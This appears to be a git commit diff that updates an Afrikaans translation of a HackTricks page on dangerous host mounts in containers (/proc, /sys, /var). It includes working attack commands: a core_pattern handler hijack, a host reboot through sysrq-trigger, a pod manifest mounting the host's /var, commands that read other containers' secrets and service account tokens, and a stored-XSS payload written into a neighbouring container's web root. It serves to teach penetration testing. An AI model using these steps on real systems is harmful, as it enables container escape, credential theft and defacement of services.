mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/docker-security/do
This commit is contained in:
parent
1f021400a9
commit
38c220c3e7
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Die blootstelling van `/proc` en `/sys` sonder behoorlike naamruimte-isolasie stel beduidende sekuriteitsrisiko's in, insluitend die vergroting van die aanvaloppervlak en inligtingsontsluiting. Hierdie gidse bevat sensitiewe lêers wat, indien verkeerd geconfigureer of deur 'n nie-geautoriseerde gebruiker toegang verkry, kan lei tot houerontvlugting, gasheerwysiging, of inligting kan verskaf wat verdere aanvalle ondersteun. Byvoorbeeld, om `-v /proc:/host/proc` verkeerd te monteer kan AppArmor-beskerming omseil as gevolg van sy pad-gebaseerde aard, wat `/host/proc` onbeskermd laat.
|
||||
Die blootstelling van `/proc`, `/sys`, en `/var` sonder behoorlike naamruimte-isolasie stel beduidende sekuriteitsrisiko's in, insluitend die vergroting van die aanvaloppervlak en inligtingsontsluiting. Hierdie gidse bevat sensitiewe lêers wat, indien verkeerd geconfigureer of deur 'n nie-geautoriseerde gebruiker toegang verkry, kan lei tot houerontvlugting, gasheerwysiging, of inligting kan verskaf wat verdere aanvalle ondersteun. Byvoorbeeld, om `-v /proc:/host/proc` verkeerd te monteer kan AppArmor-beskerming omseil weens sy pad-gebaseerde aard, wat `/host/proc` onbeskermd laat.
|
||||
|
||||
**Jy kan verdere besonderhede van elke potensiële kwesbaarheid vind in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -10,18 +10,18 @@ Die blootstelling van `/proc` en `/sys` sonder behoorlike naamruimte-isolasie st
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
Hierdie gids laat toegang toe om kern veranderlikes te wysig, gewoonlik via `sysctl(2)`, en bevat verskeie subgidse van bekommernis:
|
||||
Hierdie gids laat toegang toe om kernvariabeles te wysig, gewoonlik via `sysctl(2)`, en bevat verskeie subgidse van bekommernis:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Beskryf in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Laat toe om 'n program te definieer wat uitgevoer moet word op kernlêer generasie met die eerste 128 bytes as argumente. Dit kan lei tot kode-uitvoering as die lêer met 'n pyp `|` begin.
|
||||
- Laat die definisie van 'n program toe om uit te voer op kernlêer-generasie met die eerste 128 bytes as argumente. Dit kan lei tot kode-uitvoering as die lêer met 'n pyp `|` begin.
|
||||
- **Toets en Exploit Voorbeeld**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Ja # Toets skrywe toegang
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Stel pasgemaakte handler in
|
||||
echo "|$overlay/shell.sh" > core_pattern # Stel aangepaste handler in
|
||||
sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
|
||||
@ -38,20 +38,20 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Verwys na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- 'n Globale vlag wat beheer of die kern paniek of die OOM moordenaar aanroep wanneer 'n OOM toestand voorkom.
|
||||
- 'n Globale vlag wat beheer of die kern paniek of die OOM-killer aanroep wanneer 'n OOM-toestand voorkom.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- Volgens [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), bevat opsies en inligting oor die lêerstelsel.
|
||||
- Skrywe toegang kan verskeie ontkenning-van-diens aanvalle teen die gasheer moontlik maak.
|
||||
- Skrywe toegang kan verskeie ontkenning-van-diens-aanvalle teen die gasheer moontlik maak.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Laat toe om interpreteerders vir nie-inheemse binêre formate te registreer gebaseer op hul magiese nommer.
|
||||
- Kan lei tot voorregverhoging of wortel-sheltoegang as `/proc/sys/fs/binfmt_misc/register` skryfbaar is.
|
||||
- Laat die registrasie van interpreters vir nie-inheemse binêre formate gebaseer op hul magiese nommer toe.
|
||||
- Kan lei tot voorregverhoging of wortel-skaal toegang as `/proc/sys/fs/binfmt_misc/register` skryfbaar is.
|
||||
- Betrokke exploit en verduideliking:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Diepgaande tutoriaal: [Video skakel](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- In-diepte tutoriaal: [Video skakel](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Ander in `/proc`
|
||||
|
||||
@ -62,7 +62,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Laat toe om Sysrq-opdragte aan te roep, wat moontlik onmiddellike stelselhervattings of ander kritieke aksies kan veroorsaak.
|
||||
- Laat die aanroep van Sysrq-opdragte toe, wat moontlik onmiddellike stelselhervattings of ander kritieke aksies kan veroorsaak.
|
||||
- **Hervatting van Gasheer Voorbeeld**:
|
||||
|
||||
```bash
|
||||
@ -76,7 +76,7 @@ echo b > /proc/sysrq-trigger # Hervat die gasheer
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Lys kern uitgevoerde simbole en hul adresse.
|
||||
- Lys kern-eksporteerde simbole en hul adresse.
|
||||
- Essensieel vir kern exploit ontwikkeling, veral om KASLR te oorkom.
|
||||
- Adresinligting is beperk met `kptr_restrict` op `1` of `2` gestel.
|
||||
- Besonderhede in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
@ -89,8 +89,8 @@ echo b > /proc/sysrq-trigger # Hervat die gasheer
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- Verteenwoordig die stelsel se fisiese geheue in ELF kernformaat.
|
||||
- Lees kan die gasheer stelsel en ander houers se geheue-inhoud lek.
|
||||
- Verteenwoordig die stelsels fisiese geheue in ELF kernformaat.
|
||||
- Lees kan die gasheerstelsel en ander houers se geheue-inhoud lek.
|
||||
- Groot lêergrootte kan lei tot leesprobleme of sagtewarekrake.
|
||||
- Gedetailleerde gebruik in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
@ -106,7 +106,7 @@ echo b > /proc/sysrq-trigger # Hervat die gasheer
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Gee proses skedulering inligting terug, wat PID naamruimte beskermings omseil.
|
||||
- Teruggee proses skedulering inligting, wat PID naamruimte beskermings omseil.
|
||||
- Blootstel prosesname, ID's, en cgroup identifiseerders.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
@ -144,15 +144,15 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
- Beheer temperatuurinstellings, wat moontlik DoS aanvalle of fisiese skade kan veroorsaak.
|
||||
- Beheer temperatuurinstellings, wat moontlik DoS-aanvalle of fisiese skade kan veroorsaak.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Lek kern adresse, wat moontlik KASLR in gevaar kan stel.
|
||||
- Lek kern adresse, wat moontlik KASLR in gevaar stel.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
- Huisves `securityfs` interfase, wat konfigurasie van Linux Sekuriteitsmodules soos AppArmor toelaat.
|
||||
- Huisves `securityfs` interfase, wat die konfigurasie van Linux Sekuriteitsmodules soos AppArmor toelaat.
|
||||
- Toegang mag 'n houer in staat stel om sy MAC-stelsel te deaktiveer.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` en `/sys/firmware/efi/efivars`**
|
||||
@ -163,7 +163,93 @@ cat /output %%%
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs` bied 'n "geen reëls" debugging interfase aan die kern.
|
||||
- Geskiedenis van sekuriteitskwessies as gevolg van sy onbeperkte aard.
|
||||
- Geskiedenis van sekuriteitskwessies weens sy onbeperkte aard.
|
||||
|
||||
### `/var` Kwesbaarhede
|
||||
|
||||
Die gasheer se **/var** gids bevat houer runtime sokke en die houers se lêerstelsels. As hierdie gids binne 'n houer gemonteer word, sal daardie houer lees-skrif toegang tot ander houers se lêerstelsels met wortel voorregte kry. Dit kan misbruik word om tussen houers te pivot, om 'n ontkenning van diens te veroorsaak, of om ander houers en toepassings wat daarin loop te backdoor.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
As 'n houer soos hierdie met Kubernetes ontplooi word:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
Binne die **pod-mounts-var-folder** houer:
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
|
||||
|
||||
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
|
||||
JWT_SECRET=85d<SNIP>a0
|
||||
REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
|
||||
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
```
|
||||
Die XSS is bereik:
|
||||
|
||||

|
||||
|
||||
Let daarop dat die houer GEEN herstart of iets benodig nie. Enige veranderinge wat via die gemonteerde **/var** gids gemaak word, sal onmiddellik toegepas word.
|
||||
|
||||
Jy kan ook konfigurasie lêers, binêre lêers, dienste, toepassingslêers en skulpprofiele vervang om outomatiese (of semi-outomatiese) RCE te bereik.
|
||||
|
||||
##### Toegang tot wolkakkredite
|
||||
|
||||
Die houer kan K8s diensrekening tokens of AWS webidentiteit tokens lees wat die houer in staat stel om ongemagtigde toegang tot K8s of die wolk te verkry:
|
||||
```bash
|
||||
/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
#### Docker
|
||||
|
||||
Die uitbuiting in Docker (of in Docker Compose ontplooiings) is presies dieselfde, behalwe dat die ander houer se lêerstelsels gewoonlik beskikbaar is onder 'n ander basispad:
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
```
|
||||
So die lêerstelsels is onder `/var/lib/docker/overlay2/`:
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
#### Nota
|
||||
|
||||
Die werklike paaie mag verskil in verskillende opstellings, wat is waarom jou beste kans is om die **find** opdrag te gebruik om die ander houers se lêerstelsels te lokaliseer.
|
||||
|
||||
### Verwysings
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user